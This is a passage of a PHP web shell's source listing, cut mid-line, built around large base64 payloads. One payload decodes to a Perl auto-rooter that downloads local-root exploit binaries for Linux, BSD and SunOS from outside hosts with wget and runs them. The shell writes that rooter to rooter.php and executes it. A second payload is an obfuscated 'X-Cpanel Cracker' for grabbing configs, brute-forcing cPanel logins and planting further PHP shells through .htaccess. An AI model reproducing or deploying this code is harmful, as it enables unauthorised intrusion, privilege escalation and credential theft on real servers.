m5ldC9sb2NhbHJvb3QvbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLTIuNi45LTIwMDUtMjAwNiIpOwpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCIuL2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7CnN5c3RlbSgiLi9wcml2NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHdua2VybmVsIik7CnN5c3RlbSgiY2htb2QgNzc3IHB3bmtlcm5lbCIpOwpzeXN0ZW0oIi4vcHdua2VybmVsIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7CnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsKc3lzdGVtKCIuL3Jvb3QucHkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOwpzeXN0ZW0oIi4vcnVueCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvdGl2b2xpIik7CnN5c3RlbSgiY2htb2QgNzc3IHRpdm9saSIpOwpzeXN0ZW0oIi4vdGl2b2xpIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7CnN5c3RlbSgiLi91YnVudHUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL3R4ZmZndi56aXAiKTsKc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7CnN5c3RlbSgiY2htb2QgK3ggdHJvbGxlZCIpOwpzeXN0ZW0oIi4vdHJvbGxlZCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJjaG1vZCAreCAzX1giKTsKc3lzdGVtKCIuLzNfWCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKCgpwcmludCAiRW5kIExpbnV4Li4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAiYnNkIiApCnsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgUm9vdGluZyBCU0QgICAgICAgICAgICAjXG4iOwpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBic2Q7Y2QgYnNkIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7CnN5c3RlbSgidW56aXAgandnb2JuLnppcCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0OGxvY2FsIik7CnN5c3RlbSgiLi80OGxvY2FsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7CnN5c3RlbSgiLi9ic2Rsb2NhbCIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oImNobW9kIDc3NyBCU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiLi9CU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiaWQiKTsKCgoKCnByaW50ICJFbmQgQnNkLi4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAic3Vub3MiICkKewpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKcHJpbnQgIiMgTGludXgvQnNkL1N1bm9zIEFVVE8tUk9PVEVSICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICBSb290aW5nIFN1bm9zICAgICAgICAgICNcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpzeXN0ZW0oInVuYW1lIC1hO21rZGlyIHN1bm9zO2NkIHN1bm9zIik7CnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL2trcGd2cy56aXAiKTsKc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7CnN5c3RlbSgiY2htb2QgNzc3IHhfb3NoLnBsICIpOwpzeXN0ZW0oInBlcmwgeF9vc2gucGwgIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljkvc3Vub3M1OSIpOwpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7CnN5c3RlbSgiLi9zdW5vczU5Iik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1LjgvZmluYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZmluYWwiKTsKc3lzdGVtKCIuL2ZpbmFsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7CnN5c3RlbSgiY2htb2QgK3ggc29sYXJpczI3Iik7CnN5c3RlbSgiLi9zb2xhcmlzMjciKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuMTAvc3Vub3M1MTAiKTsKc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOwpzeXN0ZW0oIi4vc3Vub3M1MTAiKTsKc3lzdGVtKCJpZCIpOwoKCnByaW50ICJFbmQgU3VuT1MgLi5bK11cbiI7Cn0=';
  2715. $file = fopen("rooter.php","w");
  2716. $write = fwrite ($file ,base64_decode($rooter));
  2717. fclose($file);
  2718. header("location:rooter.php"); }
  2719. if(isset($_POST['cpc'])){
  2720. $cpc = 'PD9waHAKQHNlc3Npb25fc3RhcnQoKTsgCkBlcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBzZXRfdGltZV9saW1pdCgwKTsgCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IAoKPz4KPGh0bWw+Cjx0aXRsZT5YLUNwYW5lbCBDcmFja2VyIGJ5IFdhamRhbiBCdXR0PC90aXRsZT4KPGJvZHk+Cgo8U1RZTEU+dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTA1NzAwO2NvbG9yOmxpbWU7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEwcHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMDt9CmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTA1NzAwO2ZvbnQtc2l6ZTogMTBweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiBsaW1lOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoyMCB9CmJvZHkgeyBmb250LWZhbWlseTogVGFob21hfQoueC1pbmogeyBmb250LWZhbWlseTogVml2YWxkaX0KdHIgeyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgY29sb3I6ICMwMGZmOyB9CnRkIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IGNvbG9yOiAjMDBmZjsgfQoudGFibGUxIHsgQk9SREVSOiAwcHggQmxhY2s7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBjb2xvcjogIzAwZmY7IH0KLnRkMSB7IEJPUkRFUjogMHB4OyBCT1JERVItQ09MT1I6ICMzMzMzMzM7IGZvbnQ6IDhwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmYwMDsgfQoudHIxIHsgQk9SREVSOiAwcHg7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgY29sb3I6ICMwMGZmOyB9CnRhYmxlIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGNvbG9yOiAjMDBmZjsgfQppbnB1dCB7IGJvcmRlcjogZGFzaGVkIDFweDsgYm9yZGVyLWNvbG9yOiAjMzMzOyBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsgZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiAjMDBmZjsgfQpzZWxlY3QgeyBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1UT1A6ICAgICMwMGZmIDFweCBzb2xpZDsgQk9SREVSLUxFRlQ6ICAgIzAwZmYgMXB4IHNvbGlkOyBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1jb2xvcjogIzAwZmY7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBmb250OiBwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmY7IH0Kc3VibWl0IHsgQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyB3aWR0aDogMzAlOyBjb2xvcjogIzAwZmY7IH0KdGV4dGFyZWEgeyBib3JkZXI6IGRhc2hlZCAxcHggIzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGZvbnQ6IEZpeGVkc3lzIGJvbGQ7IGNvbG9yOiAjOTk5OyB9CkJPRFkgewlTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItU0hBRE9XLWNvbG9yOiAjMDBmZjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogIzAwZmYgbWFyZ2luOiAxcHg7IGNvbG9yOiAjMDBmZjAwOyBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsgfQoubWFpbiB7IG1hcmdpbjogLTI4N3B4IDBweCAwcHggLTQ5MHB4OyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgQk9SREVSLUNPTE9SOiAjMzMzMzMzOyB9Ci50dCB7IGJhY2tncm91bmQtY29sb3I6IEJsYWNrOyB9CkE6bGluayB7IENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lIH0KQTp2aXNpdGVkIHsJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUgfQpBOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CkE6YWN0aXZlIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CjwvU1RZTEU+CgoKPD9waHAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIjxjZW50ZXI+Cgo8aW1nIHNyYz0naHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMi5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUU5TUVNjdGpsdGFENkVwWkNJTEpxY2xuZVdsTWR1SnJoWVY4RHVkRDFLTjB1aWt3dVonPjxicj4KPGI+PGZvbnQgY29sb3I9JyMwMGZmMDAnIGNsYXNzPSd4LWluaicgc2l6ZT0nNSc+WC1DcGFuZWwgQ3JhY2tlciBCeSBXYWpkYW4gQnV0dCA8L2ZvbnQ+PGJyPjxicj48YnI+PC9iPjxiPgo8Zm9udCBzaXplPSczJz4KfHwgPGEgaHJlZj0nP2RvPXVwbG9hZGVyJz4uL1VwbG9hZGVyPC9hPiB8IDxhIGhyZWY9Jz9kbz1jb25maWcnPi4vQ29uZmlnPC9hPiB8IDxhIGhyZWY9Jz9kbz1iaGNvbmZpZyc+Li9CLUYgQ29uZmlnIENwYW5lbDwvYT4gfCA8YSBocmVmPSc/ZG89YnJ1dGUnPi4vQ3BhbmVsIEJydXRlRm9yY2U8L2E+IHx8PC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD48YnI+ICI7CgppZihpc3NldCgkX1JFUVVFU1RbJ2RvJ10pKXsgCnN3aXRjaCAoJF9SRVFVRVNUWydkbyddKXsKIyMjIyMjIyMjIyMjIyMjI3BocCBpbmZvCmNhc2UgJ2JoY29uZmlnJzsKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPistLT09WyBCLUYgQ29uZmlnIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOwogIG1rZGlyKCdiY29uZmlnJywgMDc1NSk7CiAgICBjaGRpcignYmNvbmZpZycpOwogICAgICAgICRha3NlcyA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRidWthX2xhaCA9ICIkYWtzZXMiOwogICAgICAgICRidWthID0gZm9wZW4gKCRidWthX2xhaCAsICd3Jykgb3IgZGllICgiRXJyb3IgY3V5eSEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwIC5jcGMKIjsgICAgCiAgICAgICAgZndyaXRlICggJGJ1a2EgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkYnVrYSk7CiRjb25mc2hlbGwgPSAnUEQ5d2FIQWdMeW9nZkh3Z1NXUmxZU0E2T2lCTmNpNUJiSE5oTTJWcklIeDhJRkJ5YjJkeVlXMXRhVzVuSURvNklFY3RRaUI4ZkNCRVpYTnBaMjVsY2lBNk9pQkJiQzFUZDJsemNtVWdmSHdnS2k4a1QwOVBNREF3TURBd1BYVnliR1JsWTI5a1pTZ25KVFkySlRZM0pUTTJKVGN6SlRZeUpUWTFKVFk0SlRjd0pUY3lKVFl4SlRNMEpUWXpKVFptSlRWbUpUYzBKVFpsSlRZMEp5azdKRTlQVHpBd01EQlBNRDBrVDA5UE1EQXdNREF3ZXpSOUxpUlBUMDh3TURBd01EQjdPWDB1SkU5UFR6QXdNREF3TUhzemZTNGtUMDlQTURBd01EQXdlelY5T3lSUFQwOHdNREF3VHpBdVBTUlBUMDh3TURBd01EQjdNbjB1SkU5UFR6QXdNREF3TUhzeE1IMHVKRTlQVHpBd01EQXdNSHN4TTMwdUpFOVBUekF3TURBd01Ic3hObjA3SkU5UFR6QXdNREJQTUM0OUpFOVBUekF3TURCUE1Ic3pmUzRrVDA5UE1EQXdNREF3ZXpFeGZTNGtUMDlQTURBd01EQXdlekV5ZlM0a1QwOVBNREF3TUU4d2V6ZDlMaVJQVDA4d01EQXdNREI3TlgwN0pFOVBUekF3TUU4d01EMGtUMDlQTURBd01EQXdlekI5TGlSUFQwOHdNREF3TURCN01USjlMaVJQVDA4d01EQXdNREI3TjMwdUpFOVBUekF3TURBd01IczFmUzRrVDA5UE1EQXdNREF3ZXpFMWZUc2tUekJQTURBd1R6QXdQU1JQVDA4d01EQXdNREI3TUgwdUpFOVBUekF3TURBd01Ic3hmUzRrVDA5UE1EQXdNREF3ZXpWOUxpUlBUMDh3TURBd01EQjdNVFI5T3lSUE1FOHdNREJQTUU4OUpFOHdUekF3TUU4d01DNGtUMDlQTURBd01EQXdlekV4ZlRza1R6QlBNREF3VHpBd1BTUlBNRTh3TURCUE1EQXVKRTlQVHpBd01EQXdNSHN6ZlRza1R6QlBNREJQVHpBd1BTUlBUMDh3TURBd01EQjdNSDB1SkU5UFR6QXdNREF3TUhzNGZTNGtUMDlQTURBd01EQXdlelY5TGlSUFQwOHdNREF3TURCN09YMHVKRTlQVHpBd01EQXdNSHN4Tm4wN0pFOVBUekF3TURBd1R6MGtUMDlQTURBd01EQXdlek45TGlSUFQwOHdNREF3TURCN01UUjlMaVJQVDA4d01EQXdNREI3T0gwdUpFOVBUekF3TURBd01Ic3hOSDB1SkU5UFR6QXdNREF3TUhzNGZUc2tUMDlQTUU4d1R6QXdQVjlmUmtsTVJWOWZPeVJQVHpBd1R6QXdNREE5TUhneE1EZGpPMlYyWVd3b0pFOVBUekF3TURCUE1DZ25Ta1U0ZDAxRVFsQk5SVGgzVFVRd2ExUXdPVkJOUkVGM1ZIcEJkMHREVWxCVU1EaDNWSHBDVUUxRVFYTktNMHBwU25sck4wcEZPSGRVZWtGM1ZEQTRkMDFEWjJ0VWVrRjNUVVU0ZDFSNlFYZE1SRUkwVGtkTk1FdFVjMnRVTURoM1RVVTRkMDFGT0hkUVUxSlFWREE0ZDAxRVFYZFVla0Z2U2tVNVVGUjZRWGROUkVGM1ZIbG5hMVI2UWxCTlJFSlFWSHBCZDB0RFVsQk5SRUYzVkhwQ1VFMUVRWE5OU0dkNFRqSk5jRXhEWkVaaWJsSnNZMjVzZG1SWVpISmhSa3BKVjFWMFQxWXdPVlpXUlVab1VXMUtSRmt3VW10U2JWcElXakJzY0ZOdGNFMWlSVEYwVlVoQ1VtTldUbnBXYmxwWlpVWndOazFFUlhsTmVsRXhUbXBqTkU5VGMzWlFVMk56U2pCR1ExRXdVa1pTYTJSSlUxVndURlJGTVU5VU1VSlNWV3hPVlZaV1dsaFhSbXhoV1ZkS2FscEhWbTFhTW1od1lXMTBjMkpYTlhaalNFWjVZek5TTVdSdVpEUmxXRzkzVFZSSmVrNUVWVEpPZW1jMVMzazRia3RUYXpkYVdGcG9Za05uYTFRd09IZE5SVGgzVFVVNGQwdFVjejBuS1NrN2NtVjBkWEp1T3o4K2ZrUnJjamxPU0dWdVRraGxiazVJWlRGNlpuVnJaMFpOWVZoa2IzbHFZMVZKYldJeE9XOVZRWGg1WWpFNGJWSjBkMjEzU2pSTVZEQTVUa2h5T0ZoVWVrVllVa3AzYlhkS1dFeFVNRGxPU0dWRldFaHlPRmhvZEU5T1ZEQTRXRWhsUlZoSWNqaFFhM0k0V0ZSNlJWaFVNRGhZU0hSSlRGUjZSVmhJY2poWVZIcEZXRkowVDA1VWVrVllWSHBGV0VobFJYQlNkR1o1WkcxUGJFWnRiSFptWW1aeFJIbHJkMEpCYzB0aE1EbGhZWEo1YVZkTmEyVkRNRTlNVDAxamRXTXdiSEJWVFhCSVpISXhjMEYxYms5R1lWbDZZVzFqUTBkNWNEWklaWEphU0hwWE1WbHFSalJMVlZOMlRsVkdVMnN3ZVhSWE1FOTVUMHhtZDFWQmNGSlVjakZMVkRGdVQwRnNXVUZoWVdOaVFubHNSRU5DYTJwamIyRk5ZekpwY0VSTmMxTmtRalYyUm5WNVdrWXpUekZtYldZMFIySlFXRWhVZDNwWlpVRXlXWHBKTldoYU9HMW9WVXh3U3pKamFtUnZPWHBqVlVsTVZIcEZXRWh5T0ZoVWVrVllhRlJ6YkdaTmVWTm9kRTlPVkhwRldGUjZSVmhVZWtWd1MxZzlQWFJ0V1d4bWVUa3dSRUl4YkdJeWVIQmtRbXd3YUdWRmNFdFljR3hHYld0MlJtdzVXbU5pYm5aR2JVOXdaRTFHVUVoMFREZDBUV3hOYUc5c2VrWXlZVEJvZEU5blFYSTVWR0Y1VTIxbVltdFRhekV3Y0doaVUyaHJkV0ZhWkhSRk9YZDBUMmRCY2psVVlYbFRiV1ppYTFOck1UQTNkRzB4YkdSMVdXeEhXRkJNWm1KclUzZGxNRWxyTW1rd1puVkZObEphT1RObU0wWldhM3BUYUdkWGNHeERNbWwyZDNSR09IZEJUMDVYTVU5alFYSkJTVlY1VDFsVVpUUm9UbTlwTUdSQ1dDdDBhbmhRWTBKNVRFNUpVRGhtYjJ3d1pHOUJLMWRLTVc5M2NsbDJaRTFqY0dNeE9XcEJiM2xXWTBKWU9GSXpUM0JtYjNoc1RrbFFPRVl6VHpWa2IwRkpablZzV0dOVU1FcG1iMkUwWm5RNWFrWXpTRXBPU1ZCb1EwMDVURWRpVTJoM2RFVkpaRUo1V21NeWJGWjNaVkJKUTJKaE1HUjZVMmgzZEVWSlEwMTVha1F5Wmxwa00yRldZM1F4YW1ReWVIWkdhbEJxWTJwalRWbE5RekpMV0ZCSmQzUnVhbVF5ZUhaR2FsQkpkM3BJZWt0VVREVkxWRk5vZDNSRlNXTk5PVlptZERGTlEwSXhjR1IxVERaM2RVOXBSRzg1YzBOVldFbGpNbUZXWTJKamFWSjBibE5tUWxsd1kyOXlVMlIxWVdwRVFrOXBkMjltV2tOQ05VeGpWVmhKUTJKcmNFTkNXRk4zYjJsc1pIVmpiR1p2YkdwRFZWaEpSako1VmtaYU1YcGpZbXR3WTJwVGFIZDBSVWxqVFRsV1puUXhUVU5DTVhCa2RVdzJkMlZ5TUVaMVNUZDBTa1ZKZDNWUGJFZDFWM05EUW5od1l6STBObmR2V1d4a2JVOXNSbXBUYUhkMFJVbDNiMk4yWkcxWGMyWXlZWEJqTW1rd1MwcHVTbVF5ZUV4M1pWTm9aMWRRYUVSQ05WaG1ZbGRUWm05aE5HWnZlVnBqUW5KVFJqSmhVMk5DV1RCSFdIQk5aREkxTUZKaVpteEVRbVpRWm1WUVNVTk5PVk5qWlZOb1F6STVVMlF6ZHpaM2RFaFlTR1ZGV0VobFJUZDBUV3QyUmsxUGJFWnFVRWxJWW00MGQzVlpkbVJ2YkV4M2RGbGxWekJaWlZjd1NEZDBUV3RwUXpKemJVWk5PVEZrVFZkelF6STVVMlF6ZHpaM2RXWlFSR0pQYkV0WWNGaERRazlNUkVJMWJVdEtSWHBHZFVrM2RFMXJka1pOVDJ4R1NqRmFRMEpQY0daaVNEWjNaV1pZUjJWVGFHZFhVR2hFUWpWWVptSlhObU5OT1dwbVlsazNkRWxRU1VOTk9UUlNZbGxRUTBKUGRtWjZVRWxJZFc0MGQyVnVXRWQwUlRGR2RVbEpkM3BGV0V0QlF6VlBhbE5vZEcwd2FIY3lZM1prTTA5c1JrcEZTVWRZVUdoRE1qbFRaRE4zTm5kMFNGaElaVVZZU0dWRk4zUk5ZM1prYlZkelkwMTVjMFJDZURWTFNrVjRXWFZ1TkV0WWNEQmpZbWt3VW1KWlVFTkNUM1ptZWxCSlNIVnVOSGRsYmxoSGRFVjRSblZKU1hkNlJWaElaVVZZU0dWVGFHTk5PVlptZERFelkwSnNiVVIxVnpaM2J6VjJSazB4YVdSbFUyaG5WM0JwUjFoUVNYZDFUMnhIZFZkelkyOWhhbVF6YTJsbWIyeDJaR3BRU1dSTk9WWmpWRk5vZDNSdWFtUXllSFpHYWxCcVNIcElla2g2U0hwTFdIQTVkR3BZZGtZelR6VmtiMEVyZEdwWWRrUnZZV2xqWlRSb1RtOXJkbU4xVEN0MGFuaE1SR0pEU1VSQ1Z6bDNiVTkyWkRKWVNrNUpVRGhWWlhKSlJqTlBOV1J2UVRsM1RWbDJaRzg1V2t0S1JXcFpaVmN3V1dWWE1FdGFiakJqWW1rd1VtSlpVRU5DVDNabWVsQkpTSFZ1TkhkbGJsaEhkRVY0Um5WSlNYZDZSVmhJWlVWWVNIUjNOMlp2WVRSbWRERnBaRzlzYldScVVFbERNbUZXWm05aFdrdDZOWFJTUVVOSlZ6STVWbU5OYkcxaU1sbFhRMEkxYkdSbFdIWlZaWElyZEdwNFRXUXphM04zYnpGc1ptOXBkbU5sTUVwQmNqbFVZWFIzSzNScWVIQmtiVzR4Wm5SdVZrTkNNV3hPVldzeFJrMVlTbmQxVHpWR2IwRTVkMjFQYkVkMVYwcDNkV05wWkhWaGJFNVZkMjFTU2s4eFJrMVlWbXRhZDBsR01tdzJZMVF3U2xsbFJVcDNkRGdyZEdwNGNHUnRiakZtZEc0d1IySnViRTVWYTNwbVFtdHpSR0pYU25kMVkybGtkV0ZzVGxWclZHWnZlVnBtZEVVcmQwcEZkazVKVURoU01tTjJSazB3SzA1dmExcDNkRGdyVG05clduZDBPQ3RyZWxOb1JFSkRVRVJpV1hwallsZFFhM2s1VjFReFdVRkNXbVl4UmsxWWJXSlZUSEJIV0hCd1kwcEphV05OYkZOallUbHRZMkpQWjBNeU9WWm1iMkZXWm5WSVVHdDFZVnBrZEV4d1IxaHdiRU15YVhaM2RHWjVSbTFyZGtaS05FbFZRalV5UTBKNGNHTjBibUZCVEZoV2EzcFRhR2RDWVZOR01tRTNkRXBQYVhkbE1FbElaVk5vWTAwNVdtTkNlV3BFZEdsdFkySlBaMk52ZVRCRFZVbE1abUpyVTJoVmJtbEdXa1ZNUkVJMVRXUmFiRGQwVFd4TmFHOTRkbU15YkZab2RFOXdaRTFqZGtKNmJtWlNkRTl3WkUxamRrSjZlV1pvVld3M2RFMWhha1J2T0VsM2FuaEtkM1ZaTUVkQ2VHeE9WVVpKUXpJNVUyUXpkelozZEVnMFNHVkpXRXRsUlVsTFdtNHdZMkpwTUZKaVdWQkRRazkyWm5wUVdFWjFTVWxJZFc0MGQyVjVXRWQwUldwTFpVVTBTR1ZKV0hkbFUyMU9iRk54WWxWdVlVWXlZVnBrVFhselkxVkZUWGQ1Ym1sR00xa3paRE5yVEhkbFVEaFNNbmNyZDNSRk9FTktibnBtZFd4VFkxUXdiWGR2V1haa2J6bGFTMHBGYWtobFJWaEljbU52ZDJWVFNXWnZZVFJtZERGNlJHOTVUR1F6UmpaSWRXNDBkMlZ1V0VkMFJYaEdkVWxKZDNwRldFaGxibTlQU2tVM2EzbzFaR3R2YkZaalRUbGtTSGt4Wms1ME9VcE9Ta1U0UTBwdWVtWjFiRk5qVkRCdGQyOVpkbVJ2T1ZwTFNrVnFWekJJV0VobFJWaExXbTR3WTJKcE1GSmlXVkJEUWs5MlpucFFXRVoxU1VsSWRXNDBkMlY1V0VkMFJXcFhNRWhZU0dWRldFdGFSaXRDV2s5d1pFMWpka0o2ZVdaaVZGaDJRMm8wT0VOdGQwbFNlalJLUzFoUVRFTlZVM0ZMV0hBNWRHMHdhR05DV1ZCa1drVktUbTkzU1VZelR6VmtiMEU1YTFwdWFtUXllSFpHYWxCSmQzcEpXRXRsUlRSSWRFVTNkM1ZQYkVkMVYzTkdNbWxwWTI4NU0wdHFibGhIZEVWWVJuVkpTVWhpYmpSM2RFZzBTR1ZKV0V0bFJVbExXa1lyVG05cFdrNUtUMmwzY2xsWVEwSTFiR1IwYm05a00yRldZMjloVEZKcWVFcEdTa1YyVGtwM04zUnRNR2huVjNCc1F6SnBkbmQwUmpoRGJYZEpVbm8wT0VOdGQwbFNlalE0UTIxM1NWSjZORGhEYlhkSlVubzBPR052YkRKM2IyeE1UbFZyVFdReU9UQmpZbmRLVG0xNE9IZHliRXhqUW5KSlMycFFTVlJpZDFaWFFuaDZRMVJaYkVSYWJqaG5kRzVYUmswNWJVWk5lWE5rUW14V1kxcEZOa3RLYm5WU1FYZEpaM1ZZU1U5dllYcEVRbVpXWTJKM1NVdHFVRWxYUWxoelFUTm1jRVl6YTJ4M2RYZzRkMlZZZG1OdmJESk9TVkE0VWpKUGNHWnFOR